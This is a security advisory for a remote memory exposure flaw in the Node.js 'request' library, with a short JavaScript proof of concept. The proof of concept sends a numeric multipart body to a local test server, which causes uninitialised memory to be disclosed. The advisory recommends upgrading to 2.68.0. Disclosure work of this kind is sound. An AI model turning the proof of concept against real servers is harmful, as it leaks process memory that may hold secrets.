Severity ?
5.9 (Medium) - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Summary
Remote Memory Exposure in request
Details

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

```js var request = require('request'); var http = require('http');

var serveFunction = function (req, res){ req.on('data', function (data) { console.log(data) }); res.end(); }; var server = http.createServer(serveFunction); server.listen(8000);

request({ method: "POST", uri: 'http://localhost:8000', multipart: [{body:500}] },function(err,res,body){}); ```

Recommendation

Update to version 2.68.0 or later
